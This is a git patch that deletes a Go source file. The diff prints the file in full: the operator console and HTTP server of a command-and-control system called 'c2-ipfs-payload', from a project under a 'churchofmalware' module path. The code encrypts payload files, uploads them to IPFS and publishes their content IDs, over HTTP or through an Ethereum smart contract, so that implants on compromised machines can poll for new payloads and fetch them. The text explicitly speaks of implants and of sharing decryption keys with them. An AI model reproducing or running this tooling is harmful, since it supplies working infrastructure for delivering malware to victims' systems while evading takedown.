From efedb4e5c2348296dd017a6b61ea7149d400d60a Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Tue, 2 Jun 2026 06:02:47 +0000 Subject: [PATCH] Delete c2s_ipfs_payloads/cmd/main.go --- c2s_ipfs_payloads/cmd/main.go | 505 ---------------------------------- 1 file changed, 505 deletions(-) delete mode 100644 c2s_ipfs_payloads/cmd/main.go diff --git a/c2s_ipfs_payloads/cmd/main.go b/c2s_ipfs_payloads/cmd/main.go deleted file mode 100644 index 730c3da..0000000 --- a/c2s_ipfs_payloads/cmd/main.go +++ /dev/null @@ -1,505 +0,0 @@ -// Command server is the operator console for the C2 IPFS payload delivery system. -// -// MODE A — Simple HTTP CID Hub: -// Runs a lightweight HTTP server that serves new CIDs. -// Implants poll GET /cid for the current CID. -// -// MODE B — Smart Contract CID Feed (optional, requires go-ethereum): -// Build with: go build -tags ethereum ./cmd/server -// Interacts with an Ethereum smart contract that emits NewCID events. -package main - -import ( - "bufio" - "encoding/hex" - "encoding/json" - "flag" - "fmt" - "log" - "net/http" - "os" - "os/signal" - "strings" - "sync" - "syscall" - "time" - - "github.com/churchofmalware/c2-ipfs-payload/pkg/auth" - "github.com/churchofmalware/c2-ipfs-payload/pkg/crypto" - "github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs" - "github.com/churchofmalware/c2-ipfs-payload/pkg/types" -) - -// Server state. -type Server struct { - mu sync.RWMutex - currentCID string - history []types.CIDEntry - startTime time.Time - mode string // "http" or "contract" - ipfsClient *ipfs.Client - encKey []byte - config Config - - // For contract mode - contractAddress string - rpcURL string -} - -// Config holds server configuration flags. -type Config struct { - port int - username string - password string - jwtToken string - mode string - ipfsAPI string - pinataJWT string - encKeyHex string - contractAddr string - rpcURL string - maxHistory int -} - -func (s *Server) addHistory(cid, note string) { - s.mu.Lock() - defer s.mu.Unlock() - entry := types.CIDEntry{ - CID: cid, - Timestamp: time.Now().UTC(), - Note: note, - } - s.history = append(s.history, entry) - if len(s.history) > s.config.maxHistory { - s.history = s.history[len(s.history)-s.config.maxHistory:] - } - s.currentCID = cid -} - -// --- HTTP Handlers (Mode A) --- - -func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) { - s.mu.RLock() - cid := s.currentCID - s.mu.RUnlock() - - if cid == "" { - http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound) - return - } - - w.Header().Set("Content-Type", "application/json") - json.NewEncoder(w).Encode(map[string]string{"cid": cid}) -} - -func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) { - if r.Method != http.MethodPost { - http.Error(w, "method not allowed", http.StatusMethodNotAllowed) - return - } - - var req struct { - CID string `json:"cid"` - Note string `json:"note,omitempty"` - } - if err := json.NewDecoder(r.Body).Decode(&req); err != nil { - http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest) - return - } - - req.CID = strings.TrimSpace(req.CID) - if !ipfs.IsValidCID(req.CID) { - http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest) - return - } - - s.addHistory(req.CID, req.Note) - - w.Header().Set("Content-Type", "application/json") - json.NewEncoder(w).Encode(map[string]string{ - "status": "ok", - "cid": req.CID, - }) -} - -func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) { - s.mu.RLock() - history := make([]types.CIDEntry, len(s.history)) - copy(history, s.history) - s.mu.RUnlock() - - w.Header().Set("Content-Type", "application/json") - if history == nil { - w.Write([]byte("[]")) - return - } - json.NewEncoder(w).Encode(history) -} - -func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) { - s.mu.RLock() - cid := s.currentCID - history := make([]types.CIDEntry, len(s.history)) - copy(history, s.history) - s.mu.RUnlock() - - resp := types.StatusResponse{ - CurrentCID: cid, - History: history, - Mode: s.mode, - Uptime: time.Since(s.startTime).Round(time.Second).String(), - } - - w.Header().Set("Content-Type", "application/json") - json.NewEncoder(w).Encode(resp) -} - -// --- Operator Console --- - -func (s *Server) runConsole() { - scanner := bufio.NewScanner(os.Stdin) - fmt.Println() - fmt.Println("╔══════════════════════════════════════════╗") - fmt.Println("║ C2 IPFS Payload — Operator Console ║") - fmt.Println("╚══════════════════════════════════════════╝") - fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port) - if s.mode == "http" { - fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port) - } - fmt.Println() - fmt.Println("Commands:") - fmt.Println(" deploy — Encrypt, upload to IPFS, update CID") - fmt.Println(" cid — Manually set CID") - fmt.Println(" encrypt — Encrypt a file, upload to IPFS, show CID") - fmt.Println(" status — Show current state") - fmt.Println(" history — Show recent CID history") - fmt.Println(" genkey — Generate a new encryption key") - fmt.Println(" help — Show this help") - fmt.Println(" exit — Shutdown") - fmt.Println() - - for { - fmt.Print("> ") - if !scanner.Scan() { - break - } - line := strings.TrimSpace(scanner.Text()) - if line == "" { - continue - } - - parts := strings.Fields(line) - cmd := parts[0] - - switch cmd { - case "exit", "quit": - fmt.Println("Shutting down...") - os.Exit(0) - - case "help": - fmt.Println("Commands:") - fmt.Println(" deploy — Encrypt, upload to IPFS, update CID") - fmt.Println(" cid — Manually set CID") - fmt.Println(" encrypt — Encrypt a file, upload to IPFS, show CID") - fmt.Println(" status — Show current state") - fmt.Println(" history — Show recent CID history") - fmt.Println(" genkey — Generate a new encryption key") - fmt.Println(" exit — Shutdown") - - case "genkey": - key, err := crypto.GenerateKey() - if err != nil { - fmt.Printf("Error: %v\n", err) - continue - } - fmt.Printf("New encryption key: %s\n", key) - fmt.Println("SAVE THIS KEY. It cannot be recovered.") - fmt.Println("Share it with implants via --decryption-key") - - case "status": - s.mu.RLock() - fmt.Printf("Current CID: %s\n", s.currentCID) - fmt.Printf("Mode: %s\n", s.mode) - fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second)) - fmt.Printf("History entries: %d\n", len(s.history)) - fmt.Printf("Contract address: %s\n", s.contractAddress) - s.mu.RUnlock() - - case "history": - s.mu.RLock() - if len(s.history) == 0 { - fmt.Println("No history.") - } else { - fmt.Println("Recent CIDs:") - for i, entry := range s.history { - note := entry.Note - if note == "" { - note = "(no note)" - } - fmt.Printf(" %d. %s [%s] %s\n", - i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note) - } - } - s.mu.RUnlock() - - case "cid": - if len(parts) < 2 { - fmt.Println("Usage: cid ") - continue - } - newCID := parts[1] - if !ipfs.IsValidCID(newCID) { - fmt.Println("Invalid CID format.") - continue - } - note := "" - if len(parts) > 2 { - note = strings.Join(parts[2:], " ") - } - s.addHistory(newCID, note) - fmt.Printf("CID updated to: %s\n", newCID) - - case "encrypt": - if len(parts) < 2 { - fmt.Println("Usage: encrypt ") - continue - } - filePath := parts[1] - s.cmdEncrypt(filePath) - - case "deploy": - if len(parts) < 2 { - fmt.Println("Usage: deploy ") - continue - } - filePath := parts[1] - s.cmdDeploy(filePath) - - default: - fmt.Printf("Unknown command: %s. Type 'help'\n", cmd) - } - } -} - -func (s *Server) cmdEncrypt(filePath string) { - data, err := os.ReadFile(filePath) - if err != nil { - fmt.Printf("Error reading file: %v\n", err) - return - } - - encrypted, err := crypto.Encrypt(data, s.encKey) - if err != nil { - fmt.Printf("Error encrypting: %v\n", err) - return - } - - // Extract filename without path - fileName := filePath - if idx := strings.LastIndex(filePath, "/"); idx >= 0 { - fileName = filePath[idx+1:] - } - encName := fileName + ".enc" - - // Upload to IPFS - fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted)) - resp, err := s.ipfsClient.Upload(encrypted, encName) - if err != nil { - fmt.Printf("IPFS upload failed: %v\n", err) - fmt.Println("Encrypted file saved locally as:", encName) - os.WriteFile(encName, encrypted, 0644) - fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid ' to set it.") - return - } - - fmt.Printf("Uploaded! CID: %s\n", resp.CID) - fmt.Printf("Local copy: %s\n", encName) - os.WriteFile(encName, encrypted, 0644) - fmt.Println() - fmt.Println("To deploy, run: cid", resp.CID) -} - -func (s *Server) cmdDeploy(filePath string) { - data, err := os.ReadFile(filePath) - if err != nil { - fmt.Printf("Error reading payload: %v\n", err) - return - } - - encrypted, err := crypto.Encrypt(data, s.encKey) - if err != nil { - fmt.Printf("Error encrypting payload: %v\n", err) - return - } - - fileName := filePath - if idx := strings.LastIndex(filePath, "/"); idx >= 0 { - fileName = filePath[idx+1:] - } - encName := fileName + ".enc" - - fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted)) - fmt.Println("Uploading to IPFS...") - - resp, err := s.ipfsClient.Upload(encrypted, encName) - if err != nil { - fmt.Printf("IPFS upload failed: %v\n", err) - return - } - - s.addHistory(resp.CID, "deploy: "+fileName) - - fmt.Printf("✅ Deployed!\n") - fmt.Printf(" Payload: %s\n", filePath) - fmt.Printf(" Encrypted: %s\n", encName) - fmt.Printf(" IPFS CID: %s\n", resp.CID) - fmt.Printf(" Size: %d bytes\n", len(encrypted)) - - if s.mode == "contract" { - if s.contractAddress != "" { - fmt.Println() - fmt.Println("To send CID to contract:") - fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID) - fmt.Println("(Requires --rpc-url and go-ethereum build)") - } - } -} - -// --- HTTP Server --- - -func (s *Server) startHTTPServer() { - if s.mode != "http" { - return - } - - mux := http.NewServeMux() - - // Apply auth middleware based on config - var getCIDHandler http.HandlerFunc = s.handleGetCID - var postCIDHandler http.HandlerFunc = s.handlePostCID - var historyHandler http.HandlerFunc = s.handleHistory - var statusHandler http.HandlerFunc = s.handleStatus - - if s.config.jwtToken != "" { - getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID) - postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID) - historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory) - statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus) - } else { - getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler) - postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler) - historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler) - statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler) - } - - mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) { - switch r.Method { - case http.MethodGet: - getCIDHandler(w, r) - case http.MethodPost: - postCIDHandler(w, r) - default: - http.Error(w, "method not allowed", http.StatusMethodNotAllowed) - } - }) - mux.HandleFunc("/history", historyHandler) - mux.HandleFunc("/status", statusHandler) - mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { - w.Header().Set("Content-Type", "application/json") - info := map[string]interface{}{ - "service": "c2-ipfs-payload", - "version": "1.0.0", - "mode": s.mode, - "auth": s.config.jwtToken != "" || s.config.username != "", - "endpoints": map[string]string{ - "GET /cid": "Get current CID", - "POST /cid": "Set a new CID (body: {\"cid\":\"...\"})", - "GET /history": "Get recent CID history", - "GET /status": "Get server status", - }, - } - json.NewEncoder(w).Encode(info) - }) - - addr := fmt.Sprintf("0.0.0.0:%d", s.config.port) - log.Printf("CID Hub listening on %s (mode A — HTTP)", addr) - if err := http.ListenAndServe(addr, mux); err != nil { - log.Fatalf("Server failed: %v", err) - } -} - -func main() { - // Flags - cfg := Config{} - flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)") - flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)") - flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)") - flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)") - flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'") - flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)") - flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)") - flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)") - flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)") - flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)") - flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep") - flag.Parse() - - // Encryption key - var encKey []byte - if cfg.encKeyHex != "" { - var err error - encKey, err = hex.DecodeString(cfg.encKeyHex) - if err != nil { - log.Fatalf("Invalid encryption key hex: %v", err) - } - if len(encKey) != crypto.KeySize { - log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey)) - } - fmt.Printf("Using provided encryption key: %s...%s\n", - cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:]) - } else { - keyHex, err := crypto.GenerateKey() - if err != nil { - log.Fatalf("Failed to generate key: %v", err) - } - encKey, _ = hex.DecodeString(keyHex) - fmt.Printf("Generated new encryption key: %s\n", keyHex) - fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key") - fmt.Println() - } - - // IPFS client - ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT) - - server := &Server{ - startTime: time.Now(), - mode: cfg.mode, - ipfsClient: ipfsClient, - encKey: encKey, - config: cfg, - contractAddress: cfg.contractAddr, - rpcURL: cfg.rpcURL, - history: make([]types.CIDEntry, 0, cfg.maxHistory), - } - - // Start console - go server.runConsole() - - // Start HTTP server (mode A only; mode B uses console-only for contract ops) - if cfg.mode == "http" { - go server.startHTTPServer() - } else if cfg.mode == "contract" { - log.Printf("Running in contract mode — no HTTP CID hub.") - log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.") - fmt.Printf("Contract address: %s\n", cfg.contractAddr) - fmt.Printf("RPC URL: %s\n", cfg.rpcURL) - } else { - log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode) - } - - // Wait for signal - sigCh := make(chan os.Signal, 1) - signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) - <-sigCh - fmt.Println("\nShutting down...") -}